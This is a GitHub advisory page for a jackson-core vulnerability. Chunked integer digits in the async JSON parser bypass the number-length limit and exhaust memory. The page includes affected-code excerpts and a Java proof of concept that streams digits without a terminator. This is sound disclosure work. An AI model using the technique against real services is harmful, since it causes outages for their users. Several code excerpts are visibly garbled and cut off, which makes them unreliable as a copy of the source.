GitHub Advisoryadvisory · Maven
GHSA-r7wm-3cxj-wff9 jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)
HIGH
Official page ↗
- Aliases
- CVE-2026-68494
- Ecosystem
- Maven
- Packages
- com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-770
- Reviewed
- 2026-07-21
Affected packages
• Maven com.fasterxml.jackson.core:jackson-core: < 2.18.8 → fixed in 2.18.8
• Maven com.fasterxml.jackson.core:jackson-core: >= 2.19.0, < 2.21.4 → fixed in 2.21.4
• Maven tools.jackson.core:jackson-core: >= 3.0.0, < 3.1.4 → fixed in 3.1.4
Description
Summary
The fix released in jackson-core `2.18.6` and `2.21.1` for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a ~20,000x amplification of the documented `maxNumberLength` (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
• `com.fasterxml.jackson.core:jackson-core` 2.18.6
• `com.fasterxml.jackson.core:jackson-core` 2.21.1
Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java` in 2.18.6 / 2.21.1.
Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:
```java
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // = _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // = outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // = INT_0 && ch = outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async…
Related
Alias · CVE (1)
- CVE-2026-68494 The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the… vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
References
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-68494 advisory
- https://github.com/FasterXML/jackson-core/pull/1611 web
- https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd web
- https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641 web
- https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8 web
- https://github.com/FasterXML/jackson-core package